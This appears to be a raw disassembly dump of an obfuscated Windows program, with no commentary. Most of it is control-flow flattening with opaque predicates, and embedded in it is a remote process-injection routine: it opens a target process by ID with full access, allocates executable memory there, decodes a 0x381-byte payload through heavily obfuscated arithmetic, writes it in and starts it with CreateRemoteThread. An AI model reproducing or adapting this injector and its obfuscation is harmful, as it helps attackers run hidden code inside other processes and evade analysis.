setge dl
setl bl
mov eax, ebx
and al, r8b
or cl, bl
xor bl, r8b
and bl, cl
and dl, r8b
xor dl, al
xor dl, bl
mov eax, 0x9e95c290
mov ecx, 0x80abbc60
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov r8d, ebx
and r8b, al
or dl, al
and cl, bl
xor bl, al
xor cl, bl
mov eax, edx
xor al, cl
xor cl, 1
movzx ecx, cl
movzx ebx, bl
test dl, dl
cmove ebx, ecx
or cl, dl
and cl, al
xor bl, 1
and bl, cl
mov eax, r8d
xor al, bl
test r8b, r8b
mov ecx, 0xdb809f40
mov edi, 0x35dc3dca
cmovne ecx, edi
test bl, bl
mov edx, 0xdb809f40
cmovne ecx, edx
test al, 1
cmove ecx, edi
mov eax, ecx
jmp 0x140001070
mov eax, 0x7a6cc224
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ea2fbb9
mov ecx, 0x153ba1e1
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xf9e4af0b
jmp 0x140001070
mov eax, 0xe5c0eefb
jmp 0x140001070
mov eax, 0xe05123ba
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
and bl, al
xor al, dl
xor al, 1
or dl, cl
and dl, al
mov eax, ebx
xor al, dl
xor dl, 1
and dl, bl
xor dl, al
mov eax, 0x7fd18bd7
mov ecx, 0x6225d539
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4825f775
mov ecx, 0x37193d42
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xa0cd3490
jmp 0x140001070
mov eax, 0x7064fd52
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6286803f
mov ecx, 0xb935ff5a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf23e344
mov ecx, 0x7d319584
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x319e44c1
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91f758d7
mov ecx, 0x2cddbefd
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov rax, qword [rbp - 0x30]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call fcn.140019fac
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov eax, 0x2346e09a
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x9527a8fe
mov ebx, 0x6f8a3ba5
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
jmp 0x140001070
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
mov r8d, 0x381
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov qword [rbp], rax
cmp qword [rbp], 0
setne byte [rbp - 0x15]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xccea3803
mov ecx, 0x28ba1986
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8eb896a9
mov ecx, 0xc7627fb3
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov edx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
sete r8b
cmp edi, 0xa
setge r9b
setl al
mov edx, ecx
and dl, al
xor al, r8b
mov ebx, eax
xor bl, 1
or dl, bl
or r9b, r8b
xor dl, r9b
mov ebx, 0x7df3fae
mov esi, 0x1c22adc2
cmovne ebx, esi
test al, al
mov eax, 0x1c22adc2
cmovne eax, ebx
test r9b, r9b
cmove eax, ebx
test dl, dl
mov edx, 0x7df3fae
cmovne eax, edx
test ecx, ecx
mov ecx, eax
cmove ecx, edx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
setge dl
or dl, al
mov r8d, ecx
xor r8b, dl
xor cl, al
xor cl, 1
and cl, dl
mov eax, ecx
xor al, r8b
mov edx, r8d
xor dl, 1
mov ebx, ecx
or bl, dl
and bl, al
xor al, 1
and dl, cl
or dl, al
mov eax, edx
not al
and al, bl
xor dl, bl
xor dl, al
test dl, 1
mov eax, 0xba9d3df8
mov edx, 0x115011c2
cmovne eax, edx
test r8b, r8b
mov edx, 0xba9d3df8
cmovne edx, eax
test cl, cl
cmovne edx, eax
mov eax, edx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x61d3d92b
mov ecx, 0x964137e2
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc09b3d48
mov ecx, 0x696c4663
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xd084dbcf
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd0d1dc9b
mov ecx, 0x222e75b0
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xd0d1dc9b
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0xdfd1caff
mov ecx, 0x6d3ce556
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [rbp + 0x14]
mov eax, 0x644d65de
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x21f9b884
mov ecx, 0xf20d9170
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x21f9b884
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdae0d0f3
mov ecx, 0x43dcda7d
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x101d9aaa
mov ecx, 0xe4bed5f
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x101d9aaa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x938f561d
jmp 0x140001070
mov eax, 0xde718615
jmp 0x140001070
mov eax, 0x3f62539a
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb1b2b7f6
mov ecx, 0xb7568339
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x97bb0f47
mov ecx, 0xf78d3db4
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe8efa8bc
mov ecx, 0x92be2d60
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd5938b6
mov ecx, 0x56338808
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov ecx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete al
cmp edi, 0xa
setl bl
setge r8b
mov ecx, eax
and cl, r8b
xor bl, al
xor cl, bl
or al, r8b
and bl, al
xor bl, cl
test cl, cl
mov ecx, 0xf1fc627d
mov esi, 0xd04ac10f
cmovne ecx, esi
test al, al
mov eax, 0xf1fc627d
cmove ecx, eax
test bl, bl
cmovne ecx, esi
test dl, 1
mov eax, ecx
cmove eax, esi
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7861a346
mov ecx, 0xe1ca3adf
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov rdx, qword [rbp]
sub rsp, 0x20
lea rcx, str.____Allocated_based_address_is_0x_p_n
call fcn.140011390
add rsp, 0x20
mov eax, 0x21f9b884
jmp 0x140001070
mov eax, 0x2f1bba4b
jmp 0x140001070
mov eax, 0x7b69bf85
jmp 0x140001070
mov eax, 0xe6e9c9bc
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
cmp ecx, 0xa
setl bl
xor al, bl
or bl, dl
test edx, edx
movzx edx, bl
movzx eax, al
cmovne edx, eax
cmp ecx, 0xa
cmovge edx, eax
test dl, dl
mov eax, 0xb40576ad
mov ecx, 0xaa581d04
cmovne eax, ecx
jmp 0x140001070
mov eax, 0xc10aa93a
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc065557f
mov ecx, 0xaf638fbe
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xc065557f
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd14d14e
mov ecx, 0xd44a9fd
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x32ab102b
mov ecx, 0x1968a4ac
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3a5ab5ba
mov ecx, 0xfe5c3f49
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x3416865a
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x81d8df25
mov ecx, 0xc09b3d48
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x81d8df25
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x656542f5
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc139e717
mov ecx, 0x1c9a3587
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xda4f4c31
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
mov ebx, ecx
and bl, al
or cl, al
mov eax, edx
xor al, 1
or al, bl
and al, cl
xor al, dl
mov eax, 0x2839927c
mov ecx, 0xda4f4c31
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x312c2c55
mov ecx, 0xfa99fdf0
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x312c2c55
cmovl eax, ecx
jmp 0x140001070
mov rax, qword [rbp - 8]
mov dword [rax], 0
sub rsp, 0x20
lea rcx, str.___Running_the_thread_..._n
call fcn.140011390
add rsp, 0x20
mov r9, qword [rbp]
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 8]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8d, 0x64
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x20
lea rcx, str.___The_thread_finished__n
call fcn.140011390
add rsp, 0x20
mov rax, qword [rbp - 0x28]
mov eax, 0xf435a0af
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl bl
mov edx, ebx
or dl, al
xor bl, al
mov ecx, ebx
xor cl, dl
xor dl, 1
or dl, cl
and cl, al
or al, dl
xor cl, al
mov eax, 0x63328944
mov ecx, 0x9708242f
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov ecx, 0x63328944
cmovne eax, ecx
jmp 0x140001070
mov eax, 0x6238b397
jmp 0x140001070
mov eax, 0x805f73a5
jmp 0x140001070
mov eax, 0x2d1a310b
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd15fd1c0
mov ecx, 0xceadaf65
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x53577bbe
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setl bl
mov ecx, ebx
xor cl, r8b
mov eax, edx
and al, bl
xor al, cl
mov eax, 0xdc44f3a1
mov r9d, 0xed39b150
cmovne eax, r9d
test cl, cl
mov esi, eax
cmovne esi, r9d
test edx, edx
cmovne eax, esi
cmp edi, 0xa
cmovl eax, esi
or bl, r8b
xor bl, cl
cmovne eax, r9d
jmp 0x140001070
mov eax, 0xb60120b6
jmp 0x140001070
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp - 0x38]
mov eax, 0xd033ae18
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
setge dl
or dl, al
mov ebx, ecx
xor bl, dl
xor cl, al
xor dl, al
test cl, cl
mov eax, 0xd9066ff2
mov edi, 0xe4b67e3c
cmovne eax, edi
test bl, bl
mov ecx, 0xd9066ff2
cmovne eax, ecx
test dl, dl
cmove eax, edi
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov ebx, edx
and bl, al
xor dl, al
and cl, al
mov eax, edx
xor al, 1
or al, cl
xor al, dl
xor dl, cl
mov ecx, eax
not cl
or cl, dl
xor cl, bl
test cl, 1
mov ecx, 0xe1465295
mov edx, 0xdb0fac53
cmovne ecx, edx
test al, al
mov eax, 0xdb0fac53
cmovne eax, ecx
test bl, bl
cmove eax, ecx
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.Please_provide_a_process_ID__n
call fcn.140011390
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
and bl, al
xor al, dl
xor al, 1
or dl, cl
and dl, al
mov eax, ebx
xor al, dl
mov ecx, 0x57f5363e
mov eax, 0xcea37825
cmovne ecx, eax
test dl, dl
mov eax, 0x57f5363e
cmovne eax, ecx
test bl, bl
cmove eax, ecx
jmp 0x140001070
mov eax, 0x8a91ce87
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e853b5
mov ecx, 0x6d3c0c7b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov eax, ebx
xor al, r8b
or cl, bl
and cl, al
and dl, r8b
xor dl, cl
or bl, r8b
xor bl, 1
or bl, dl
mov ecx, ebx
not cl
and cl, al
xor bl, al
xor bl, cl
test bl, 1
mov eax, 0xb37756b5
mov ecx, 0x6d1e0e9b
cmovne eax, ecx
jmp 0x140001070
mov eax, 0x6b21e61
jmp 0x140001070
mov eax, dword [rbp - 0x48]
mov dword [rbp - 0x78], eax
mov rax, qword [rbp - 0x50]
mov eax, dword [0x140035ab0]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete al
cmp dword [0x140035ab4], 0xa
setl bl
setge r8b
and r8b, al
mov edx, ebx
xor dl, al
mov ecx, ebx
or cl, dil
and cl, dl
xor r8b, cl
or r8b, dl
or al, bl
xor dl, 1
and bl, dil
or bl, dl
mov edx, ecx
xor dl, bl
mov r9d, edx
xor r9b, 1
xor cl, 1
and cl, bl
or cl, r9b
xor cl, dl
xor al, 1
or al, cl
mov ecx, r8d
xor cl, al
test r8b, r8b
mov edx, 0x34c145f8
mov ebx, 0xb847d85
cmovne edx, ebx
test al, 1
mov eax, 0x34c145f8
cmovne edx, eax
test cl, 1
cmove edx, ebx
mov eax, edx
jmp 0x140001070
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov edi, dword [rbp + 0x1c]
mov ecx, edi
mov edx, edi
xor edx, 0xd5bef624
mov eax, edi
and eax, 0xd1ee530b
mov ebx, edi
xor ebx, 0x450a52f
and ebx, edx
mov edx, eax
xor edx, ebx
xor edx, 0x40010b
xor eax, 0x40010b
and eax, ebx
or eax, edx
and eax, edi
and edi, 0x79db6643
and ecx, 0x862499bc
or ecx, 0x40104202
xor ecx, edi
xor ecx, 0x811a0a52
mov edx, ecx
or edx, 0xfbaf5ad0
mov ebx, edx
not ebx
xor ecx, eax
mov esi, edx
and esi, 0x3b4d8bde
and edx, 0x5dda12c
mov edi, ebx
and edi, 0x403
or edi, edx
xor edi, 0xfa225ed3
and edi, eax
mov edx, eax
and edx, 0x408022
or edx, 0x40c
and eax, 0x410250d
xor eax, edx
xor eax, 0x450a123
and eax, ebx
and ebx, 0x4102421
or ebx, esi
xor ebx, 0x3b4d8bde
and ebx, ecx
mov ecx, eax
not ecx
mov edx, edi
mov r8d, eax
mov r9d, ecx
mov esi, eax
mov r10d, edi
or r10d, eax
and eax, 0x40a50b
and ecx, 0x9f3d10b4
or ecx, eax
xor ecx, edi
and edi, 0x14535a60
or edi, 0xca888409
and edx, 0xebaca59f
xor edx, edi
mov eax, edx
xor eax, 0xded9dc69
and r8d, 0x100020
and r9d, 0x14415840
lea edi, [r9 + r8]
add edi, 0xab0c018c
and esi, 0xa50f
xor esi, edi
mov edi, esi
xor edi, 0xab1e03ac
xor edx, 0x2106
and edx, edi
xor esi, 0x54e1fc53
and esi, eax
or esi, edx
xor ecx, 0x60c2ef4b
and ecx, r10d
or ecx, ebx
or ecx, esi
mov eax, ecx
and eax, 0xd994b391
or eax, 0x4690026
mov esi, ecx
and esi, 0x266b4c6e
xor esi, eax
mov eax, esi
and eax, 0xfbaf5ae8
xor eax, 0xfb865ac8
xor esi, 0x4690026
or esi, eax
mov eax, ecx
and eax, 0xb7290525
or eax, 0x8505042
and ecx, 0x48d6fada
xor ecx, eax
mov eax, ecx
or eax, 0xfbaf5ae8
mov edx, eax
xor edx, 0x500002
and eax, 0xeea6a9d1
mov ebx, ecx
and ebx, 0x500406
or ebx, eax
xor ebx, ecx
xor ecx, 0xc00f555
or ecx, edx
xor ebx, 0xe2a65880
and ecx, ebx
and ebx, 0x28102a0
mov r14d, ecx
and r14d, 0x705e745f
or r14d, ebx
mov r8d, esi
and r8d, 0x90216c70
mov eax, r14d
and eax, 0x1001667e
and ecx, 0x6fde9181
or ecx, eax
mov eax, esi
and eax, 0x90216e7e
mov r11d, esi
and r11d, 0x6fde9181
mov r10d, r11d
xor r11d, 0x6fde9181
mov r9d, r11d
or r11d, eax
mov edi, eax
not edi
mov eax, esi
mov ebx, edi
and ebx, 0x692038e
or ebx, r8d
mov r8d, esi
mov edx, r14d
not edx
and edx, esi
xor r14d, esi
not esi
or eax, 0x90216e7e
xor r10d, 0x694c920f
and r10d, eax
and esi, 0x694c9001
or esi, r10d
xor esi, ebx
and r8d, 0x90014222
and edi, 0x412aacdc
or edi, r8d
and r9d, 0x2ed41101
and eax, 0x412aacdc
or eax, r9d
xor eax, edi
not eax
and eax, r11d
or eax, esi
mov ebx, ecx
xor ebx, 0x6fde9181
or ebx, eax
xor ecx, eax
xor ecx, 0x90216e7e
and ecx, eax
xor ecx, ebx
xor r14d, edx
mov eax, r14d
xor eax, ecx
not eax
not ecx
and ecx, r14d
or ecx, eax
mov rax, qword [rbp - 0x10]
mov byte [rax], cl
mov rax, qword [rbp]
movsxd rdx, dword [rbp + 0x18]
add rdx, rax
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9d, 1
call r13
add rsp, 0x30
mov eax, 0xb42f43eb
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6e4c94f4
mov ecx, 0xef2cc4b0
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xcc5a35ce
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge cl
setl bl
mov edx, ebx
xor dl, al
or cl, al
xor dl, 1
and dl, cl
and bl, al
mov eax, ebx
xor al, dl
mov eax, 0x84caa702
mov ecx, 0xd18b2776
cmovne eax, ecx
test dl, dl
mov ecx, 0x84caa702
cmove eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x98c8805
mov ecx, 0x2962bc56
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x246a5350
mov ecx, 0xb343fa38
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x246a5350
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9c3e0fc8
mov ecx, 0xed7da361
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x9c3e0fc8
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xf31e710d
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
setge dl
or dl, al
mov ebx, ecx
xor bl, dl
xor cl, al
xor dl, al
test cl, cl
mov eax, 0x64302f1b
mov edi, 0x60be4bd3
cmovne eax, edi
test bl, bl
mov ecx, 0x64302f1b
cmovne eax, ecx
test dl, dl
cmove eax, edi
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8a91ce87
mov ecx, 0x36c3db17
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x8a91ce87
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf0079245
mov ecx, 0x66fc00f
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe552d129
mov ecx, 0xf078437
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov eax, edx
xor al, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
or dl, r8b
xor dl, cl
xor dl, al
mov eax, 0x3855b130
mov ecx, 0xdf4b7789
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6286803f
mov ecx, 0x5a878acb
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb68b6403
mov ecx, 0x56d0714a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
and bl, al
or cl, dl
xor dl, al
mov eax, edx
xor al, 1
and al, cl
xor al, bl
mov eax, 0x17cc25e9
mov ecx, 0x1b88589a
cmovne eax, ecx
test bl, bl
mov ecx, eax
mov ebx, 0x17cc25e9
cmovne ecx, ebx
test dl, dl
cmove ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete dl
cmp dword [0x140035ab4], 0xa
setl r8b
setge r11b
mov ebx, edx
or bl, r11b
mov r10d, edx
and r10b, r11b
xor r11b, dl
mov r9d, r8d
or r9b, dl
xor r8b, dl
mov edx, r8d
and dl, bl
mov eax, r8d
xor al, 1
mov ecx, r10d
or cl, al
or al, bl
mov ebx, edx
xor bl, cl
xor cl, 1
or cl, dl
and cl, bl
xor al, r10b
mov edx, eax
xor dl, cl
xor dl, 1
xor al, 1
and al, cl
or al, dl
mov ecx, r9d
xor cl, 1
and cl, al
xor al, r9b
xor al, cl
xor r11b, al
test r11b, 1
mov ecx, 0x97e2f598
mov edx, 0x81fbe550
cmovne ecx, edx
test al, 1
mov eax, 0x97e2f598
cmovne ecx, eax
test r8b, r8b
cmovne ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, 0xc99c04f2
jmp 0x140001070
mov eax, 0x6fc12ab4
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x26e45d75
mov ecx, 0x805f6a7f
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x368fffde
mov ecx, 0xf9af6c4b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x6e87abb2
jmp 0x140001070
mov eax, 0xf6ddbeaf
jmp 0x140001070
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
mov r8d, 0x381
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x94932a4a
mov ecx, 0x8d0aa36b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf23e344
mov ecx, 0x8500ef57
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
